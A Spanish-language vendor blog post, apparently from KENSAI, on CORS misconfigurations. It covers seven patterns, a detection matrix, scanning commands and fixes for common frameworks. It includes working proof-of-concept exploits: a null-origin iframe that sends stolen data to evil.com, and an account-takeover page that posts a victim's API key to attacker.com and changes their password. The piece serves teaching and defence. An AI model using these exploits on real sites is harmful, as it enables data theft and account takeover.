Configuración incorrecta de CORS: el hallazgo de bug bounty más común en 2026
Las configuraciones incorrectas de Cross-Origin Resource Sharing representan el 23 % de todos los hallazgos aceptados en programas de bug bounty de aplicaciones web en 2026, más que XSS, IDOR y SSRF juntos. A pesar de estar ampliamente documentado desde 2016, CORS sigue siendo la clase de vulnerabilidad en la que los desarrolladores se equivocan con mayor frecuencia. Este análisis exhaustivo aborda todos los patrones de configuración incorrecta, muestra escenarios reales de explotación con código PoC funcional y ofrece soluciones listas para producción para todos los principales frameworks y proveedores de nube.
Por qué CORS sigue dominando en 2026
La paradoja de CORS es que es, al mismo tiempo, uno de los mecanismos de seguridad más documentados y peor configurados de la web. Tres factores explican por qué sigue encabezando las estadísticas una década después de las primeras divulgaciones importantes:
- Explosión de los microservicios: La aplicación web empresarial promedio se comunica actualmente con 47 API internas, 12 servicios de terceros y 8 orígenes CDN. Cada relación entre orígenes requiere una configuración CORS explícita, y los desarrolladores sometidos a presión por entregar toman atajos.
- Los valores predeterminados de los frameworks favorecen la permisividad: Frameworks populares como Express.js (con el middleware
cors), Django y Spring Boot facilitan enormemente establecerAccess-Control-Allow-Origin: *durante el desarrollo, y ese comodín tiene la desagradable costumbre de llegar hasta producción. - Complejidad de la infraestructura en la nube: Los despliegues multinube, las puertas de enlace de API, las reglas perimetrales de CDN y los proxies inversos añaden cada uno una capa en la que las cabeceras CORS pueden establecerse, sobrescribirse o eliminarse. Un servidor de aplicaciones correctamente configurado puede verse comprometido por una regla de CloudFront o Cloudflare excesivamente permisiva en una capa anterior.
📊 Las cifras (primer trimestre de 2026): El informe trimestral de HackerOne muestra que las configuraciones incorrectas de CORS representaron el 23,1 % de los hallazgos aceptados en aplicaciones web, seguidas por el control de acceso roto (18,7 %), XSS (14,2 %), IDOR (11,8 %) y SSRF (8,4 %). La recompensa promedio por un hallazgo de CORS con impacto demostrado fue de 2340 dólares, un 45 % más que en 2025, a medida que los programas reconocen cada vez más su potencial real de explotación.
Los siete patrones de configuración incorrecta de CORS
No todas las configuraciones incorrectas de CORS son iguales. Estos son los siete patrones que los investigadores de bug bounty encuentran con mayor frecuencia, clasificados por gravedad y facilidad de explotación:
Patrón 1: reflexión del origen (crítico)
El servidor refleja ciegamente la cabecera de solicitud Origin en la cabecera de respuesta Access-Control-Allow-Origin. Este es el patrón más peligroso porque permite que cualquier sitio web lea respuestas autenticadas de la API vulnerable.
# Solicitud desde un origen controlado por el atacante
GET /api/user/profile HTTP/1.1
Host: api.target.com
Origin: https://evil.com
Cookie: session=abc123
# Respuesta vulnerable: refleja el origen del atacante
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"email":"user@company.com","api_key":"sk-prod-..."}
⚠ Por qué esto es crítico
Cuando Access-Control-Allow-Credentials: true se combina con la reflexión del origen, el sitio web de un atacante puede realizar solicitudes autenticadas entre orígenes y leer la respuesta, incluidos tokens de sesión, claves de API, PII y cualquier otro dato al que pueda acceder el navegador de la víctima. Esto elude por completo la política del mismo origen.
Patrón 2: inclusión del origen nulo en la lista de permitidos (alto)
Algunos servidores permiten explícitamente el origen null, ya sea por una configuración incorrecta o por una interpretación equivocada. Los navegadores envían el origen null en varios contextos: iframes aislados, URL data:, acceso a archivos locales y redirecciones entre orígenes.
# El atacante sirve esta página HTML
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,
<script>
fetch('https://api.target.com/api/user/data', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// Exfiltrar al servidor del atacante
navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
});
</script>">
</iframe>
Patrón 3: evasión de expresiones regulares en la validación del origen (alto)
Los desarrolladores suelen implementar la validación del origen mediante patrones de expresiones regulares que contienen fallos sutiles. Los errores más comunes son:
| Origen que se pretende permitir | Expresión regular defectuosa | Origen que evade la validación |
|---|---|---|
| *.target.com | /target\.com$/ |
evil-target.com |
| app.target.com | /^https?:\/\/.*target\.com/ |
target.com.evil.com |
| *.target.com | /\.target\.com$/ |
evil.com/.target.com (confusión de ruta) |
| Solo target.com | /target.com/ (punto sin escapar) |
targetXcom.evil.com |
Patrón 4: comodín con credenciales (medio-alto)
Aunque los navegadores impiden que Access-Control-Allow-Origin: * se combine con Access-Control-Allow-Credentials: true, muchos frameworks del lado del servidor eluden esta restricción detectando la combinación y cambiando silenciosamente a la reflexión del origen, lo que crea el patrón 1 por la puerta trasera.
El paquete npm cors (utilizado por el 73 % de las API de Node.js) hace exactamente esto cuando se configura con origin: true y credentials: true. Los desarrolladores que creen estar estableciendo un comodín en realidad están habilitando la reflexión completa del origen.
Patrón 5: envenenamiento de la caché de solicitudes preliminares (medio)
La cabecera Access-Control-Max-Age indica a los navegadores durante cuánto tiempo deben almacenar en caché las respuestas preliminares (OPTIONS). Si un servidor devuelve cabeceras CORS permisivas para una ruta de solicitud y restrictivas para otra, un atacante puede obligar al navegador a almacenar en caché la respuesta preliminar permisiva y reutilizarla posteriormente en endpoints restringidos.
Patrón 6: escalada de confianza entre subdominios (medio)
Muchas aplicaciones permiten CORS desde todos los subdominios: *.target.com. Esto crea una relación de confianza transitiva en la que cualquier XSS en cualquier subdominio, incluidos entornos de staging olvidados, aplicaciones heredadas o subdominios alojados por terceros, puede aprovecharse para atacar la API de la aplicación principal.
🎯 Consejo para bug bounty
Cuando encuentres una política CORS que confíe en *.target.com, enumera inmediatamente los subdominios y busca XSS en cualquiera de ellos, especialmente en sitios de marketing, páginas de estado, portales de documentación y herramientas de atención al cliente. Un XSS reflejado en blog.target.com, combinado con la confianza CORS en los subdominios, proporciona acceso completo a los datos de api.target.com. Esta cadena recibe habitualmente clasificaciones de gravedad alta o crítica.
Patrón 7: ausencia de la cabecera Vary: Origin (bajo-medio)
Cuando un servidor establece dinámicamente Access-Control-Allow-Origin según el origen de la solicitud, también debe incluir Vary: Origin. Sin ella, las cachés de CDN y de los navegadores pueden servir una respuesta con las cabeceras CORS de un origen a una solicitud procedente de otro, lo que provoca fallos intermitentes en el control de acceso.
Explotación en el mundo real: escenario de ataque paso a paso
Este es un escenario completo de explotación que demuestra cómo una configuración incorrecta de CORS conduce a la toma de control de una cuenta:
El objetivo
Una aplicación fintech en app.fintech-target.com con una API en api.fintech-target.com. La API proporciona datos del perfil del usuario, incluidos el correo electrónico, el número de teléfono y las claves de API utilizadas para operaciones automatizadas.
La vulnerabilidad
La API utiliza la reflexión del origen (patrón 1) con las credenciales habilitadas. El endpoint /api/v2/account/settings devuelve la clave de API del usuario y permite cambiar la contraseña mediante una solicitud PUT.
El exploit
<!-- Alojado en attacker.com y enlazado mediante un correo de phishing -->
<html>
<body>
<h1>Cargando el análisis de su cartera...</h1>
<script>
// Paso 1: robar la clave de API y los datos del usuario
fetch('https://api.fintech-target.com/api/v2/account/settings', {
credentials: 'include'
})
.then(r => r.json())
.then(async (data) => {
// Paso 2: exfiltrar al servidor del atacante
await fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
email: data.email,
api_key: data.api_key,
phone: data.phone
})
});
// Paso 3: cambiar la contraseña del usuario
await fetch('https://api.fintech-target.com/api/v2/account/settings', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
password: 'attacker-controlled-password-2026!'
})
});
// Paso 4: redirigir al sitio legítimo para evitar sospechas
window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</body>
</html>
El ataque completo se ejecuta en menos de 500 ms. La víctima ve brevemente una pantalla de carga y, después, su panel habitual. Mientras tanto, el atacante ya posee su clave de API y ha cambiado su contraseña.
Detección: cómo encontrar configuraciones incorrectas de CORS a escala
Escaneo automatizado
Un escaneo eficaz de CORS requiere probar múltiples variaciones del origen en cada endpoint que devuelva cabeceras CORS. Esta es la matriz de pruebas:
| Caso de prueba | Valor de la cabecera Origin | Es vulnerable si se refleja |
|---|---|---|
| Reflexión completa | https://evil.com |
Sí: se acepta cualquier origen |
| Origen nulo | null |
Sí: evasión mediante iframe aislado |
| Abuso de subdominios | https://evil.target.com |
Sí: si coincide con el patrón de subdominios |
| Evasión por prefijo | https://target.com.evil.com |
Sí: fallo en la expresión regular |
| Evasión por sufijo | https://evil-target.com |
Sí: falta un anclaje en la expresión regular |
| Degradación del protocolo | http://target.com |
Sí: si no se exige HTTPS |
| Caracteres especiales | https://target.com%60.evil.com |
Sí: discrepancia entre analizadores |
Herramientas especializadas
- CORScanner: Herramienta Python de código abierto que automatiza toda la matriz de pruebas. Ejecútala con tu lista de endpoints de API:
python cors_scan.py -i urls.txt -t 50 - Extensiones de Burp Suite: «CORS* Burp» y «Additional CORS Checks» detectan pasivamente problemas de CORS durante las pruebas manuales.
- Plantillas de Nuclei: Nuclei de ProjectDiscovery incluye 14 plantillas específicas para CORS que abarcan los siete patrones de configuración incorrecta.
nuclei -t cors/ -l targets.txt - Escaneo automatizado de KENSAI: Detección continua de configuraciones incorrectas de CORS como parte de una evaluación completa de la postura de seguridad de las aplicaciones.
Soluciones listas para producción
Node.js / Express
const cors = require('cors');
// ❌ INCORRECTO: refleja cualquier origen
app.use(cors({ origin: true, credentials: true }));
// ✅ CORRECTO: lista de permitidos explícita
const allowedOrigins = [
'https://app.yoursite.com',
'https://admin.yoursite.com'
];
app.use(cors({
origin: (origin, callback) => {
// Permitir solicitudes sin origen (aplicaciones móviles, curl, etc.)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
return callback(null, true);
}
callback(new Error('Infracción de la política CORS'));
},
credentials: true,
maxAge: 600, // Caché de solicitud preliminar de 10 minutos
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization']
}));
Python / Django
# settings.py
# ❌ INCORRECTO
CORS_ALLOW_ALL_ORIGINS = True
# ✅ CORRECTO
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [
"https://app.yoursite.com",
"https://admin.yoursite.com",
]
CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 600
Nginx
# ❌ INCORRECTO: refleja la cabecera Origin
add_header 'Access-Control-Allow-Origin' $http_origin always;
# ✅ CORRECTO: lista de permitidos basada en map
map $http_origin $cors_origin {
default "";
"https://app.yoursite.com" $http_origin;
"https://admin.yoursite.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin = "") {
return 403;
}
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
add_header 'Access-Control-Max-Age' 600;
add_header 'Content-Length' 0;
return 204;
}
}
}
AWS API Gateway / CloudFront
# AWS CDK / CloudFormation
CorsConfiguration:
AllowOrigins:
- "https://app.yoursite.com"
- "https://admin.yoursite.com"
AllowMethods:
- GET
- POST
- PUT
- DELETE
AllowHeaders:
- Content-Type
- Authorization
AllowCredentials: true
MaxAge: 600
# ⚠ ADVERTENCIA: NO utilice AllowOrigins: ["*"] con AllowCredentials: true
# AWS lo convertirá silenciosamente en reflexión del origen
CORS en la era de las arquitecturas API-first
La transición hacia arquitecturas API-first ha cambiado radicalmente el panorama de CORS. En 2020, una aplicación web típica realizaba solicitudes entre orígenes a unos 3-5 servicios. En 2026, las aplicaciones construidas con microservicios, funciones sin servidor e integraciones de API de terceros realizan habitualmente solicitudes entre orígenes a decenas de orígenes.
Esta complejidad está impulsando varias respuestas arquitectónicas:
- Centralización en la puerta de enlace de API: Trasladar toda la gestión de CORS a una única capa de puerta de enlace de API (Kong, AWS API Gateway o Cloudflare Workers), en lugar de configurar cada microservicio de forma independiente. Esto reduce la superficie de configuración incorrecta, pero introduce un único punto de fallo.
- Autenticación basada en tokens en lugar de cookies: Las aplicaciones que migran de sesiones basadas en cookies a autenticación mediante tokens Bearer evitan por completo el requisito
credentials: include, lo que reduce el impacto de las configuraciones incorrectas de CORS, aunque no las vuelve inofensivas. - Patrón Backend-for-Frontend (BFF): Un proxy del lado del servidor que realiza todas las llamadas entre orígenes a la API en nombre del frontend, eliminando por completo CORS del lado del cliente. La contrapartida es una mayor latencia y complejidad de infraestructura.
Lista de comprobación para prevenir configuraciones incorrectas de CORS
Para desarrolladores y equipos de seguridad: verifiquen cada punto en sus aplicaciones:
- ☐ Los orígenes CORS están incluidos explícitamente en una lista de permitidos (sin reflexión ni comodines con credenciales)
- ☐ El origen
nullNO está en la lista de permitidos - ☐ La validación del origen utiliza coincidencia exacta de cadenas, no expresiones regulares (o las expresiones regulares han sido revisadas por seguridad)
- ☐ Se incluye la cabecera
Vary: Origincuando las cabeceras CORS son dinámicas - ☐
Access-Control-Allow-Methodsestá restringida únicamente a los métodos HTTP necesarios - ☐
Access-Control-Allow-Headersestá restringida únicamente a las cabeceras necesarias - ☐
Access-Control-Max-Ageestá configurada con un valor razonable (300-600 segundos) - ☐ La configuración de CORS es coherente en todas las capas (servidor de aplicaciones, proxy inverso, CDN y puerta de enlace de API)
- ☐ El escaneo automatizado de CORS forma parte del proceso de CI/CD
- ☐ El alcance de la confianza en subdominios está minimizado y se revisa trimestralmente
Conclusiones principales
- La configuración incorrecta de CORS es el hallazgo número 1 de bug bounty en 2026: representa el 23 % de todos los informes aceptados de aplicaciones web.
- La reflexión del origen con credenciales es el patrón más peligroso, ya que permite la exfiltración completa de datos y la toma de control de cuentas desde cualquier sitio web controlado por un atacante.
- Existen siete patrones distintos de configuración incorrecta, cada uno de los cuales requiere métodos específicos de detección y corrección.
- La validación del origen basada en expresiones regulares es un campo minado: utiliza coincidencias exactas de cadenas con una lista de permitidos explícita.
- Los valores predeterminados de los frameworks no son seguros: todos los principales frameworks web facilitan en exceso la configuración de un CORS demasiado permisivo.
- Centraliza CORS en la capa de la puerta de enlace de API siempre que sea posible para reducir la superficie de configuración.
- Automatiza la detección en tu proceso de CI/CD mediante herramientas como Nuclei, CORScanner o plataformas de seguridad continua.
Escanea ahora tus API en busca de configuraciones incorrectas de CORS
KENSAI detecta automáticamente los siete patrones de configuración incorrecta de CORS en toda la superficie de tus API, incluidas las cadenas de confianza entre subdominios, las evasiones mediante expresiones regulares y las sobrescrituras en la capa de CDN. Obtén los primeros resultados del análisis en minutos, no en días.
Iniciar auditoría gratuita de CORS →Investigación de KENSAI · 3 de abril de 2026